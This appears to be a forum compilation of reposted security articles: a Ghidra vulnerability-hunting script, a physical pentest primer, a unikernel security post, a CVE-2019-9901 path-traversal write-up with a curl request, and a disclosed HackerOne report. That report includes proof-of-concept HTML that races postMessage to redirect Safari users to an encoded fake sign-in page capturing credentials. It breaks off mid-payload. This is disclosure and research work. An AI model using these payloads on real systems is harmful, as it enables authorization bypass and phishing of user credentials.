can identify sinks. With this information, we can take it a step further by mapping the calling functions to the sinks. This allows security researchers to visualize the relationship between the sink and its incoming data. For the purpose of this post, we will use graphviz module to draw a graph. Putting it all together gives us the following code: from ghidra.program.model.address import Address from ghidra.program.model.listing.CodeUnit import * from ghidra.program.model.listing.Listing import * import sys import os #get ghidra root directory ghidra_default_dir = os.getcwd() #get ghidra jython directory jython_dir = os.path.join(ghidra_default_dir, "Ghidra", "Features", "Python", "lib", "Lib", "site-packages") #insert jython directory into system path sys.path.insert(0,jython_dir) from beautifultable import BeautifulTable from graphviz import Digraph sinks = [ "strcpy", "memcpy", "gets", "memmove", "scanf", "strcpyA", "strcpyW", "wcscpy", "_tcscpy", "_mbscpy", "StrCpy", "StrCpyA", "StrCpyW", "lstrcpy", "lstrcpyA", "lstrcpyW", #... ] sink_dic = {} duplicate = [] listing = currentProgram.getListing() ins_list = listing.getInstructions(1) #iterate over each instruction while ins_list.hasNext(): ins = ins_list.next() mnemonic = ins.getMnemonicString() ops = ins.getOpObjects(0) if mnemonic == "CALL": try: target_addr = ops[0] func_name = None if isinstance(target_addr,Address): code_unit = listing.getCodeUnitAt(target_addr) if code_unit is not None: ref = code_unit.getExternalReference(0) if ref is not None: func_name = ref.getLabel() else: func = listing.getFunctionAt(target_addr) func_name = func.getName() #check if function name is in our sinks list if func_name in sinks and func_name not in duplicate: duplicate.append(func_name) references = getReferencesTo(target_addr) for ref in references: call_addr = ref.getFromAddress() sink_addr = ops[0] parent_func_name = getFunctionBefore(call_addr).getName() #check sink dictionary for parent function name if sink_dic.get(parent_func_name): if sink_dic[parent_func_name].get(func_name): if call_addr not in sink_dic[parent_func_name][func_name]['call_address']: sink_dic[parent_func_name][func_name]['call_address'].append(call_addr) else: sink_dic[parent_func_name] = {func_name:{"address":sink_addr,"call_address":[call_addr]}} else: sink_dic[parent_func_name] = {func_name:{"address":sink_addr,"call_address":[call_addr]}} except: pass #instantiate graphiz graph = Digraph("ReferenceTree") graph.graph_attr['rankdir'] = 'LR' duplicate = 0 #Add sinks and parent functions to a graph for parent_func_name,sink_func_list in sink_dic.items(): #parent functions will be blue graph.node(parent_func_name,parent_func_name, style="filled",color="blue",fontcolor="white") for sink_name,sink_list in sink_func_list.items(): #sinks will be colored red graph.node(sink_name,sink_name,style="filled", color="red",fontcolor="white") for call_addr in sink_list['call_address']: if duplicate != call_addr: graph.edge(parent_func_name,sink_name, label=call_addr.toString()) duplicate = call_addr ghidra_default_path = os.getcwd() graph_output_file = os.path.join(ghidra_default_path, "sink_and_caller.gv") #create the graph and view it using graphiz graph.render(graph_output_file,view=True) Running the script against our program shows the following graph: We can see the calling functions are highlighted in blue and the sink is highlighted in red. The addresses of the calling functions are displayed on the line pointing to the sink. After conducting some manual analysis we were able to verify that several of the sinks identified by our Ghidra plugin produced a buffer overflow. The following screenshot of WinDBG shows that EIP is overwritten by 0x42424242 as a result of an lstrcpyA function call. Additional Features Although visualizing the result in a graph format is helpful for vulnerability analysis, it would also be useful if the user could choose different output formats. The Ghidra API provides several methods for interacting with a user and several ways of outputting data. We can leverage the Ghidra API to allow a user to choose an output format (e.g. text, JSON, graph) and display the result in the chosen format. The example below shows the dropdown menu with three different display formats. The full script is available at our github: Limitations There are multiple known issues with Ghidra, and one of the biggest issues for writing an analysis plugin like ours is that the Ghidra API does not always return the correct address of an identified standard function. Unlike IDA Pro, which has a database of function signatures (FLIRT signatures) from multiple libraries that can be used to detect the standard function calls, Ghidra only comes with a few export files (similar to signature files) for DLLs. Occasionally, the standard library detection will fail. By comparing IDA Pro and Ghidra’s disassembly output of CoreFTPServer, we can see that IDA Pro’s analysis successfully identified and mapped the function lstrcpyA using a FLIRT signature, whereas Ghidra shows a call to the memory address of the function lstrcpyA. Although the public release of Ghidra has limitations, we expect to see improvements that will enhance the standard library analysis and aid in automated vulnerability research. Conclusion Ghidra is a powerful reverse engineering tool that can be leveraged to identify potential vulnerabilities. Using Ghidra’s API, we were able to develop a plugin that identifies sinks and their parent functions and display the results in various formats. In our next blog post, we will conduct additional automated analysis using Ghidra and enhance the plugins vulnerability detection capabilities. Posted on April 5, 2019 by Somerset Recon and tagged Ghidra Reverse Engineering Plugin Vulnerability Analysis. Sursa: https://www.somersetrecon.com/blog/2019/ghidra-plugin-development-for-vulnerability-research-part-1

How to Perform Physical Penetration Testing Guest Contributor: Chiheb Chebbi Abstract None can deny that physical security is playing a huge role and a necessary aspect of “Information Security” in general. This article will guide us through many important terminologies in physical security and show us how to perform Physical Penetration Testing. In this Article we are going to discover: Information security and Physical security: The Link Physical Security Overview Physical Penetration Testing Crime prevention through environmental design (CPTED) After reading this article you can use this document that contains many useful resources to help you learn more about Physical Security and physical penetration testing: Physical Security Information security and Physical security: The Link Before diving deep into exploring physical security, some points are needed to be discussed to avoid any confusion. Many information security new learners go with the assumption that the main role of information security professionals is securing computers, servers, and devices in general but they neglect the fact that the role of information security professional is to secure “Information” and information can be stored using different means including Papers, paper mail, bills, notebooks and so on. Also many don’t know that the most valuable asset in an organization is not a technical device and even it is not a multi-million datacenter but it is “The Human”. Yes! In Risk management, risks against Human should be mitigated first urgently. Thus, securing the physical environment is included in the tasks of Risk Managers and CISO’s (if I am mistaken please correct me) For more information, I highly recommend you to check this great paper from SANS Institut: Physical Security and Why It Is Important – SANS Institute Physical Security Overview By definition “Physical security is the protection of personnel, hardware, software, networks and data from physical actions and events that could cause serious loss or damage to an enterprise, agency or institution. This includes protection from fire, flood, natural disasters, burglary, theft, vandalism, and terrorism.” [https://searchsecurity.techtarget.com ] Physical security has three important components: Access control Surveillance Testing As you can see from the definition your job also is to secure the enterprise from natural disasters and physical accidents. Physical Threats The International Information System Security Certification Consortium, or (ISC)² describes the role of information security professionals in CISSP Study Guide (by Eric Conrad, Seth Misenar and Joshua Feldman) as the following: “Our job as information security professionals is to evaluate risks against our critical assets and deploy safeguards to mitigate those risks. We work in various roles: firewall engineers, penetration testers, auditors, management, etc. The common thread is risk: it is part of our job description.” Risks can be presented in a mathematical way using the following formula: Risk = Threat x Vulnerability (Sometimes we add another parameter called “Impact” but for now let’s just focus on Threats and vulnerabilities.) In your daily basis job you will face many Threats. (To avoid confusion between the Three terms Threat, Vulnerability, and Risk check the first section of this article How to build a Threat Hunting platform using ELK Stack) Some Physical Threats are the following: Natural Environmental threats: Disasters Floods Earthquakes Volcanoes Tsunamis Avalanches Politically motivated threats Supply and Transportation Threats Security Defenses To defend against physical Threats, you need to implement and deploy the right safeguards. For example, you can use a Defense in-depth approach. The major Physical safeguards are the following: Video Surveillance Fences Security Guards Lacks and Smart Locks Biometric Access Controls Different and well-chosen Windows Mitigating Power Loss and Excessing Guard dogs Lights Signs Man-traps Different Fire Suppressions and protection systems (Soda Acid, Water, Gas Halon): The Fire extinguishers should be chosen based on the class of fire: Class A – fires involving solid materials such as wood, paper or textiles. Class B – fires involving flammable liquids such as petrol, diesel or oils. Class C – fires involving gases. Class D – fires involving metals. Class E – fires involving live electrical apparatus. (Technically ‘Class E’ doesn’t exists, however, this is used for convenience here) Class F – fires involving cooking oils such as in deep-fat fryers. You can check the different fire extinguishers using this useful link: https://www.marsden-fire-safety.co.uk/resources/fire-extinguishers Access Control Access controls is vital when it comes to physical security. So I want to take this opportunity to talk a little bit about it. As you noticed maybe, many information security aspects are taking and inspired from the military (Teaming names: Red Team, Blue Team and so on). Also, Access control is inspired from the military. To represent security policies in a logical way we use what we call Security models mechanisms. These models are inspired from the Trusted Computing Base (TCB), which is described in the US Department of Defense Standard 5200.28. This standard is also known as the Orange Book. These are the most well know security models: Bell-LaPadula Model Biba Model Clark-Wilson Model To learn more about the Security model read this Document: https://media.techtarget.com/searchSecurity/downloads/29667C05.pdf Access controls are a form of technical security controls (a control as a noun means an entity that checks based on a standard). We have three Access Control categories Mandatory Access Control (MAC): The system checks the identity of a subject and its permissions with the object permissions. So usually, both subjects and objects have labels using a ranking system (top secret, confidential, and so on). Discretionary Access Control (DAC): The object owner is allowed to set permissions to users. Passwords are a form of DAC. Role-Based Access Control (RBAC): As its name indicates, the access is based on assigned roles. Physical Penetration Testing By now we acquired a fair understanding about many important aspects of physical security. Let’s move to another point which is how to perform a Physical Penetration testing. By definition: “A penetration test, or pen–test, is an attempt to evaluate the security of an IT infrastructure by safely trying to exploit vulnerabilities. These vulnerabilities may exist in operating systems, services and application flaws, improper configurations or risky end-user behavior.” [ www.coresecurity.com ] When it comes to penetration testing we have three types: White box pentesting: The pentester knows everything about the target including physical environment information, employees, IP addresses, Host and server information and so on (of course in the agreed scope) Black box pentesting: in this case, the pentester don’t know anything about the target Gray box pentesting: is the mix between the two types Usually, Penetration Testers use a Pentesting standard to follow when performing a penetration testing mission. Standards are a low-level description of how the organization will enforce the policy. In other words, they are used to maintain a minimum level of effective cybersecurity. To learn the difference between: Standard, Policy, procedure and guideline check this useful link : https://frsecure.com/blog/differentiating-between-policies-standards-procedures-and-guidelines/ As a penetration tester you can use from a great number of pentesting standards like: The Open Source Security Testing Methodology Manual (OSSTMM) The Information Systems Security Assessment Framework (ISSAF) The Penetration Testing Execution Standard (PTES) The Payment Card Industry Data Security Standard (PCI DSS) If you selected The Penetration Testing Execution Standard (PTES) for example (https://media.readthedocs.org/pdf/pentest-standard/latest/pentest-standard.pdf ) You need to follow the following steps and phases: Pre-engagement Interactions Intelligence Gathering Threat Modeling Vulnerability Analysis Exploitation Post Exploitation Reporting (Just click on any step to learn more about it) The Team You can’t perform a successful physical penetration testing mission without a great Team. Wil Allsopp in his great book Unauthorised Access Physical Penetration Testing For IT Security Teams gave a great operation team suggestion. He believes that every good physical penetration testing team should contain: Operator Team Leader Coordinator or Planner Social Engineer Computer Intrusion Specialist Physical Security Specialist Surveillance Specialist He also gave a great workflow so you can use it in your mission: Peerlyst is also loaded with great physical security Articles. The following are some of them: Most Locks are stupid easy to pick How to become a Hardware Security Specialist Hardware/Software vendor playbook: Handling vulnerabilities found in your products after launch The hardware security and firmware security wiki Becoming a Penetration Tester – Hardware Hacking Part 1 Best practices for securing hardware devices against physical intrusion [TOOL] Umbrella App: Digital and Physical Security Lessons and Advice in Your Pocket! Physical Security Blog. Part 1: Why the Physical Security Industry is Dysfunctional Physical Security: The Missing Piece From Your Cyber Security Puzzle Physical Security = Information Security, both have almost identical requirements How to get started with physical security How Physical security fails:2 Tales from a Sneaker Crime prevention through environmental design (CPTED) Crime prevention through environmental design (CPTED) is a set of design principles used to discourage crime. The concept is simple: Buildings and properties are designed to prevent damage from the force of the elements and natural disasters; they should also be designed to prevent crime. [William Deutsch] There are mainly 4 major principles: Natural Surveillance: Criminals will do everything to stay undetected so we need to keep them under observation by keeping many areas bright and by trying to eliminate hiding spots. Natural Access Control: relies on doors, fences, shrubs, and other physical elements to keep unauthorized persons out of a particular place if they do not have a legitimate reason for being there. Territorial Reinforcement: is done by giving spatial definitions such as the subdivision of space into different degrees of public/semi-public/ private areas Maintenance: the property should be well -maintained You can find the full Crime prevention through environmental design Guide in the references section below. Summary In this article we explored many aspects of physical security. We started by learning the relationship between Physical security and information security. Later we dived deep into many terminologies in physical security. Then, we discovered how to perform a physical penetration testing and the required team to do that successfully. Finally, we finished the article by giving a small glimpse about Crime prevention through environmental design. This article was originally posted on Peerlyst. Sursa: http://brilliancesecuritymagazine.com/op-ed/how-to-perform-physical-penetration-testing/

Assessing Unikernel Security In this “modern” era of software development, the spotlight has bounced from virtual machines on clouds, to containers on clouds, to, currently, container orchestration… on clouds. As the “container wars” rage on, leaving behind multiple evolutionarily (or politically) dead-end implementations, unikernels are on the rise. Unikernels are applications built as specialized, minimal operating systems. While unikernels originated as an academic curiosity in the 90s, the modern crop are primarily focused on running as lightweight paravirtualized guests… on clouds. While some proponents of unikernels consider them to be the successor to containers, the two are, in fact, fairly different beasts with different tradeoffs. While containers make Unix/POSIX the base abstraction for applications, unikernels declare their own. Some unikernels focus on providing varying levels of POSIX compatibility, while others are based around specific programming languages, providing idiomatic APIs for applications written in those languages. However, the core concept of unikernels goes deeper: their main appeal is not the features that they provide, but rather, those that they don’t. Unikernels intentionally omit a great deal of the functionality typically found in full-featured operating systems, which their developers deemed to be not only unnecessary baggage, but also a potential security risk (as their presence substantially increases the system’s attack surface). Furthermore, those developers often attempt to simplify — and even completely reimplement — major OS components such as the network stack, throwing out what supporters call “cruft” and skeptics call “well-tested” or “mature” code. Advocates claim that unikernels are smaller, nimbler, and more secure by virtue of freeing themselves from the shackles of decades-old operating systems code. Such idealized claims are indeed appealing, but are they actually true? Our recently-posted whitepaper covers our initial foray into unikernels and focuses on the native aspects of application security as applied to them. Unikernel applications have a threat model unlike that of normal processes running on a standard operating system, Unix container or otherwise; in unikernels, general application code runs entirely within kernel space. We begin the whitepaper by describing the general threat model of unikernels as compared to that of containers. We then describe several relevant core security features and exploitation mitigations both within and provided by modern operating systems and build toolchains, and explore how these may apply to unikernels. This forms the basis of our methodology for assessing the general correctness and safety of unikernels. We go on to apply this testing methodology to two major open-source unikernel projects, Rumprun and IncludeOS. For each unikernel, we provide a suite of test cases to invoke and identify relevant security protections, and dig into their source and compiled code to uncover further issues. We also discuss unikernel-specific exploitation techniques and provide example exploit code for common memory corruption vulnerabilities. The presence of these vulnerability classes would enable reliable blind remote exploitation; that is, an attacker could gain arbitrary code execution in ring 0 without any direct knowledge of either the source code or the binary. Other notable vulnerabilities include a brute-force attack that takes advantage of unikernels’ ability to restart almost instantly, and a stack overflow that is able to stomp over the very copy instruction that caused it due to unusual section ordering. We then document a number of remediation and hardening recommendations for each unikernel and document our disclosure interactions with each project. As part of the latter, we assess the upstream patches made in response to our findings and recommendations. We introduce a series of our own patches that remediate a number of the issues we identified in Rumprun, many of which apply more generally to the Xen Mini-OS kernel on which it is based. These can be found here,1 here,2 and here.3 To conclude, we contrast the proclaimed security benefits of unikernels with our actual results. We also briefly describe our current and future research into the security pitfalls of another oft-touted “security feature” of unikernels: the complete reimplementation of mature, external-facing OS components such as the network stack. Even if this process does simplify and modernize the relevant code, as unikernel proponents claim, it also throws out decades of edge-case handling and security fixes that have accreted in response to security vulnerabilities. We are concerned that such re-implementation efforts do not show appropriate respect to the maturity of such codebases, and in doing so may reopen Pandora’s box. As a side note, we will shortly announce several issues that we identified in the MirageOS unikernel but did not cover in our ToorCon XX talk due to disclosure timelines. NCC Group regularly performs a large number of engagements assessing the security and hardening of applications and services, and the platforms they run on, in, and under, including containers, clouds, PaaSes, embedded runtimes, and specialized sandboxes, to name a few. The authors were drawn to this research by the potential and promise unikernel technology (still) has to build lightweight, performant, robust, and secure services in fundamentally new ways. If you’re building any of the above, especially anything unikernel-based, we’d love to help. https://github.com/nccgroup/rumprun↩ https://github.com/nccgroup/src-netbsd↩ https://github.com/nccgroup/buildrump.sh↩ Published date: 02 April 2019 Written by: Jeff Dileo and Spencer Michaels Sursa: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2019/april/assessing-unikernel-security/

CVE-2019-9901 - Istio/Envoy Path traversal TLDR; I found a path traversal bug in Istio's authorization policy enforcement. Discovery About a year ago, as a part of a customer project, I started looking at Istio, and I really liked what I saw. In fact I liked it so much that I decided to submit a talk for it for JavaZone in 2018. My favorite thing about Istio was, and still is, the mutualTLS authentication and authorization with workload bound certificates with SPIFFE identities. Istio has evolved a lot from the first version 0.5.0, which I initially looked at, to the 1.1 release. The 0.5.0 authorization policies came in the form of deniers, which sounded a lot like blacklists. The later versions have moved to a positive security model (whitelist), where you can specify which workloads (and/or end-users based on JWT) should be allowed to access certain services. Further restrictions can be specified using a set of protocol based authorization rules. I really like the coarse-grained workload authorization, but I'm not too fond of the protocol based rules. We have seen different parsers interpreting the same thing in different ways way too many times. Some perfect examples of this, are in Orange Tsai brilliant research presented in A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!. I mentioned my concerns about this in some later versions of my Istio talk, but never actually tested it... untill now... The bug I set up a simple project with a web server and deployed it on Kubernetes. The web application had two endpoints /public/ and /secret/. I added an authorization policy which tried to grant access to anything below /public/: rules: - services: ["backend.fishy.svc.cluster.local"] methods: ["GET"] paths: ["/public/*"] I then used standard path traversal from curl: curl -vvvv --path-as-is "http://backend.fishy.svc.cluster.local:8081/public/../secret/" And was able to reach /secret/. Timeline The istio team was very friendly and responsive and kept me up to date on the progress. 2019-02-18: I send the intial bug report sent to the istio-security-vulnerabilities mailbox 2019-02-18: Istio Team acknowledges receiving the report 2019-02-20: Istio Team reports the bug has been triaged and work started 2019-02-27: I ask some follow up questions to the mail received on the 20th 2019-02-27: Istio Team replies to questions 2019-03-28: Istio Team updates me about working with the Envoy team to fix this and plan to release this on April 2nd. The envoy issue was created on the 20th of February: https://github.com/envoyproxy/envoy/issues/6008 2019-04-01: Istio Team sends an new update setting April 5th as a new target date 2019-04-05: The security fix is published in Istio version 1.1.2/1.0.7 and Envoy version 1.9.1. The Envoy bug is assigned CVE-2019-9901 Sursa: https://github.com/eoftedal/writings/blob/master/published/CVE-2019-9901-path-traversal.md

Client-Side Race Condition using Marketo, allows sending user to data-protocol in Safari when form without onSuccess is submitted on www.hackerone.com fransrosen submitted a report to HackerOne. Jul 14th (9 months ago) Hi, I made a talk earlier this month about Client-Side Race Conditions for postMessage on AppSecEU: https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies In this talk I mention some fun ways to race postMessages from a malicious origin before the legit source sends it. Background As you remember from #207042 you use Marketo for your form-submissions on www.hackerone.com. Now, back then, I abused the fact that no origin was checked on the receiving end of marketo.com. By doing this I was then able to steal the data being submitted. Technical Description In this case however, I noticed that as soon as you submit a form, one of the listener being on www.hackerone.com will pass the content forward to a handler for the specific form that was loaded. As soon as it finds the form that was initiated and submitted, it will either run the error or success-function based on the content of the postMessage. If the message is a success, it will run any form.onSuccess being defined when the form was loaded. You can see some of these in this file: https://www.hackerone.com/sites/default/files/js/js_pdV-E7sfuhFWSyRH44H1WwxQ_J7NeE2bU6XNDJ8w1ak.js form.onSuccess(function() { return false; }); If the onSuccess returns false nothing more will happen. However, if the onSuccess doesn't exist or returns true, the parameter called followUpUrl will instead be sent to location.href. There is no check whatsoever what this URL contains. The code does parse the URL and if a parameter called aliId is set it will append it to the URL. As you might now, the flow of the Marketo-solution looks like this: Form is initiated by loading a JS-file from Marketo. Form shows up on www.hackerone.com Form is submitted. Listener is now initiated on www.hackerone.com Message is sent to Marketo from www.hackerone.com using postMessage Marketo gets the message and runs an ajax call to save it on Marketo When successful, a postMessage is sent from Marketo back to www.hackerone.com with the status. The listener catches the response and checks onSuccess. If onSuccess gives false, don't do anything. If it doesn't exists or returns true, follow the followUpUrl. Exploitation Since no origin check is made on the listener initated in #3, we can from our end try to race the message between #3 and #6. If our message comes through we can direct the user to whatever location we like if we find a form that doesn't utilize onSuccess. Forms on www.hackerone.com Looking at the forms, we can see that one being initiated called mktoForm_1013 does not have any onSuccess-function on it. This means that we can now use the followUpUrl from the postMessage to send the user to our location. We can also see in the URL of your JS-code above that the following URLs contains mktoForm_1013: if (location.pathname == "/product/response") { $('#mktoForm_1013 .mktoHtmlText p').text('Want to get up and running with HackerOne Response? Give us a few details and we’ll be in touch shortly!'); } else if (location.pathname == "/product/bounty") { $('#mktoForm_1013 .mktoHtmlText p').text('Want to tap into the ultimate level of hacker-powered security with HackerOne Bounty? Give us a few details and we’ll be in touch shortly!'); } else if (location.pathname == "/product/challenge") { $('#mktoForm_1013 .mktoHtmlText p').text('Up for a HackerOne Challenge? Want to learn more? Give us a few details and we’ll be in touch shortly!'); } else if (location.pathname == "/services") { $('#mktoForm_1013 .mktoHtmlText p').text("We're looking forward to serving you. Give us a few details and we’ll be in touch shortly!"); } else if (location.pathname == "/") { $('#mktoForm_1013 .mktoHtmlText p').text("Start uncovering critical vulnerabilities today. Give us a few details and we’ll be in touch shortly!"); } And as before in the old report, we know that #contact as the fragment will open the form directly without interaction. CSP Due to your CSP, we cannot send the user to javascript:. If your CSP would have allowed it, we would have a proper XSS on www.hackerone.com. Chrome and Firefox also disallows sending the user to a data:-URL. We can send the user to any location we like, but that's no fun. ...but... ...enter Safari. Safari does not restrict top-navigation to data: (tested in macOS 10.13.5, Safari 11.1.1). This means that we can do the following: Have a malicious page opening https://www.hackerone.com/product/response#contact Make it send a bunch of messages saying the form as successfully submitted. When the victim fills in the form and submits, our message will hopefully win, since Marketo needs to both get the postMessage and send an ajax call to save the response until it sends a legit response. We redirect the user to a very good-looking sign-in page for HackerOne. ??? PROFIT!!! PoC When trying this attack I noticed that if Safari opens www.hackerone.com in a new tab instead of a new window, Safari counts the tab as inactive and will slow down the sending of postMessages to the current frame. However, if you open www.hackerone.com in a complete new window, using window.open(url,'','_blank'), Safari will not count the old window as inactive and the messages will be sent just as fast which will significantly increase our chance of winning the race. The following HTML should show you my PoC in Safari: <html> <head> <script> var b; function doit() { setInterval(function() { b.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"data:text/html;base64,PGhlYWQ+PGxpbmsgcmVsPXN0eWxlc2hlZXQgbWVkaWE9YWxsIGhyZWY9aHR0cHM6Ly9oYWNrZXJvbmUuY29tL2Fzc2V0cy9mcm9udGVuZC4wMjAwMjhlOTU1YTg5Zjg1YTVmYzUyMWVhYzMxMDM2OC5jc3MgLz48bGluayByZWw9c3R5bGVzaGVldCBtZWRpYT1hbGwgaHJlZj1odHRwczovL2hhY2tlcm9uZS5jb20vYXNzZXRzL3ZlbmRvci1iZmRlMjkzYTUwOTEzYTA5NWQ4Y2RlOTcwZWE1YzFlNGEzNTI0M2NjNzY3NWI2Mjg2YTJmM2Y3MDI2ZmY1ZTEwLmNzcz48L2hlYWQ+PGJvZHk+PGRpdiBjbGFzcz0iYWxlcnRzIj4KPC9kaXY+PGRpdiBjbGFzcz0ianMtYXBwbGljYXRpb24tcm9vdCBmdWxsLXNpemUiPjxzcGFuIGRhdGEtcmVhY3Ryb290PSIiPjxkaXYgY2xhc3M9ImZ1bGwtc2l6ZSBhcHBsaWNhdGlvbl9mdWxsX3dpZHRoX2xheW91dCI+PGRpdj48ZGl2PjxkaXYgY2xhc3M9InRvcGJhci1zaWduZWQtb3V0Ij48ZGl2IGNsYXNzPSJpbm5lci1jb250YWluZXIiPjxkaXY+PGEgY2xhc3M9ImFwcF9fbG9nbyIgaHJlZj0iLyI+PGltZyBzcmM9Imh0dHBzOi8vaGFja2Vyb25lLmNvbS9hc3NldHMvc3RhdGljL2ludmVydGVkX2xvZ28tYzA0MzBhZjgucG5nIiBhbHQ9IkhhY2tlck9uZSI+PC9hPjxkaXYgY2xhc3M9InRvcGJhci10b2dnbGUiPjxpIGNsYXNzPSJpY29uLWhhbWJ1cmdlciI+PC9pPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9InRvcGJhci1zdWJuYXYtd3JhcHBlciI+PHVsIGNsYXNzPSJ0b3BiYXItc3VibmF2Ij48bGkgY2xhc3M9InRvcGJhci1zdWJuYXYtaXRlbSI+PGEgY2xhc3M9InRvcGJhci1zdWJuYXYtbGluayIgaHJlZj0iL3VzZXJzL3NpZ25faW4iPlNpZ24gSW48L2E+Jm5ic3A7fCZuYnNwOzwvbGk+PGxpIGNsYXNzPSJ0b3BiYXItc3VibmF2LWl0ZW0iPjxhIGNsYXNzPSJ0b3BiYXItc3VibmF2LWxpbmsiIGhyZWY9Ii91c2Vycy9zaWduX3VwIj5TaWduIFVwPC9hPjwvbGk+PC91bD48L2Rpdj48ZGl2IGNsYXNzPSJ0b3BiYXItbmF2aWdhdGlvbi13cmFwcGVyIj48dWwgY2xhc3M9InRvcGJhci1uYXZpZ2F0aW9uIj48bGkgY2xhc3M9InRvcGJhci1uYXZpZ2F0aW9uLWl0ZW0iPjxzcGFuIGNsYXNzPSJ0b3BiYXItbmF2aWdhdGlvbi1kZXNrdG9wLWxpbmsiPjxhIGNsYXNzPSJ0b3BiYXItbmF2aWdhdGlvbi1saW5rIj5Gb3IgQnVzaW5lc3M8L2E+PC9zcGFuPjwvbGk+PGxpIGNsYXNzPSJ0b3BiYXItbmF2aWdhdGlvbi1pdGVtIj48c3BhbiBjbGFzcz0idG9wYmFyLW5hdmlnYXRpb24tZGVza3RvcC1saW5rIj48YSBjbGFzcz0idG9wYmFyLW5hdmlnYXRpb24tbGluayI+Rm9yIEhhY2tlcnM8L2E+PC9zcGFuPjwvbGk+PGxpIGNsYXNzPSJ0b3BiYXItbmF2aWdhdGlvbi1pdGVtIj48c3BhbiBjbGFzcz0idG9wYmFyLW5hdmlnYXRpb24tZGVza3RvcC1saW5rIj48YSBjbGFzcz0idG9wYmFyLW5hdmlnYXRpb24tbGluayIgaHJlZj0iL2hhY2t0aXZpdHkiPkhhY2t0aXZpdHk8L2E+PC9zcGFuPjwvbGk+PGxpIGNsYXNzPSJ0b3BiYXItbmF2aWdhdGlvbi1pdGVtIj48c3BhbiBjbGFzcz0idG9wYmFyLW5hdmlnYXRpb24tZGVza3RvcC1saW5rIj48YSBjbGFzcz0idG9wYmFyLW5hdmlnYXRpb24tbGluayI+Q29tcGFueTwvYT48L3NwYW4+PC9saT48bGkgY2xhc3M9InRvcGJhci1uYXZpZ2F0aW9uLWl0ZW0iPjxzcGFuIGNsYXNzPSJ0b3BiYXItbmF2aWdhdGlvbi1kZXNrdG9wLWxpbmsiPjxhIGNsYXNzPSJ0b3BiYXItbmF2aWdhdGlvbi1saW5rIiBocmVmPSIvdXNlcnMvc2lnbl9pbiI+VHJ5IEhhY2tlck9uZTwvYT48L3NwYW4+PC9saT48L3VsPjwvZGl2PjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9InRvcGJhci1zdWIiPjwvZGl2PjwvZGl2PjxzcGFuPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJmdWxsLXdpZHRoLWNvbnRhaW5lciIgc3R5bGU9InBhZGRpbmctdG9wOiAxNTBweDsiPjxkaXYgY2xhc3M9Im5hcnJvdy13cmFwcGVyIj48ZGl2Pjxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJodHRwczovL2hhY2tlcm9uZS5jb20vdXNlcnMvc2lnbl9pbiIgb25zdWJtaXQ9ImFsZXJ0KCdpIGdvdCBpdDogJyArIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzaWduX2luX2VtYWlsJykudmFsdWUgKyAnOicgKyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wdXQtNCcpLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyIgbm92YWxpZGF0ZT0iIiBjbGFzcz0ic3BlYy1zaWduLWluLWZvcm0iPjxkaXY+PGgxIGNsYXNzPSJzZWN0aW9uLXRpdGxlIHRleHQtYWxpZ25lZC1jZW50ZXIiPlNpZ24gaW4gdG8gSGFja2VyT25lPC9oMT48ZGl2IGNsYXNzPSJuYXJyb3ctY29udGFpbmVyIj48ZGl2IGNsYXNzPSJpbnB1dC13cmFwcGVyIj48bGFiZWwgY2xhc3M9ImlucHV0LWxhYmVsIiBmb3I9InNpZ25faW5fZW1haWwiPkVtYWlsIGFkZHJlc3M8L2xhYmVsPjxpbnB1dCB0eXBlPSJlbWFpbCIgY2xhc3M9ImlucHV0IHNwZWMtc2lnbi1pbi1lbWFpbCIgbmFtZT0idXNlcltlbWFpbF0iIHZhbHVlPSIiIGlkPSJzaWduX2luX2VtYWlsIiBhdXRvY29tcGxldGU9Im9uIj48ZGl2IGNsYXNzPSJoZWxwZXItdGV4dCI+VXNpbmcgU0FNTD8gRW1haWwgYWRkcmVzcyBvbmx5LCBubyBwYXNzd29yZCBuZWVkZWQuPC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iaW5wdXQtd3JhcHBlciI+PGxhYmVsIGNsYXNzPSJpbnB1dC1sYWJlbCIgZm9yPSJpbnB1dC00Ij5QYXNzd29yZDwvbGFiZWw+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBjbGFzcz0iaW5wdXQgc3BlYy1zaWduLWluLXBhc3N3b3JkIiBuYW1lPSJ1c2VyW3Bhc3N3b3JkXSIgdmFsdWU9IiIgaWQ9ImlucHV0LTQiIGF1dG9jb21wbGV0ZT0ib24iIG1heGxlbmd0aD0iNzIiPjwvZGl2PjxkaXYgY2xhc3M9ImlucHV0LXdyYXBwZXItc21hbGwiPjxkaXYgY2xhc3M9InJlbWVtYmVyLW1lIj48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJ1c2VyX3JlbWVtYmVyX21lIiBuYW1lPSJ1c2VyW3JlbWVtYmVyX21lXSIgY2xhc3M9InNwZWMtc2lnbi1pbi1yZW1lbWJlci1tZSIgdmFsdWU9IjEiPjxsYWJlbCBmb3I9InVzZXJfcmVtZW1iZXJfbWUiPlJlbWVtYmVyIG1lIGZvciB0d28gd2Vla3M8L2xhYmVsPjwvZGl2PjxhIGhyZWY9Ii91c2Vycy9wYXNzd29yZC9uZXciIGNsYXNzPSJmb3Jnb3QtcGFzc3dvcmQiPkZvcmdvdCB5b3VyIHBhc3N3b3JkPzwvYT48ZGl2IGNsYXNzPSJjbGVhcmZpeCI+PC9kaXY+PC9kaXY+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbiBidXR0b24tLXN1Y2Nlc3MgaXMtZnVsbC13aWR0aCBzcGVjLXNpZ24taW4tc3VibWl0IiBuYW1lPSJjb21taXQiIHZhbHVlPSJTaWduIGluIj48L2Rpdj48ZGl2IGNsYXNzPSJuYXJyb3ctZm9vdGVyIj5ObyBhY2NvdW50IHlldD8gPGEgaHJlZj0iL3VzZXJzL3NpZ25fdXAiPkNyZWF0ZSBhbiBhY2NvdW50LjwvYT48L2Rpdj48ZGl2IGNsYXNzPSJjbGVhcmZpeCI+PC9kaXY+PC9kaX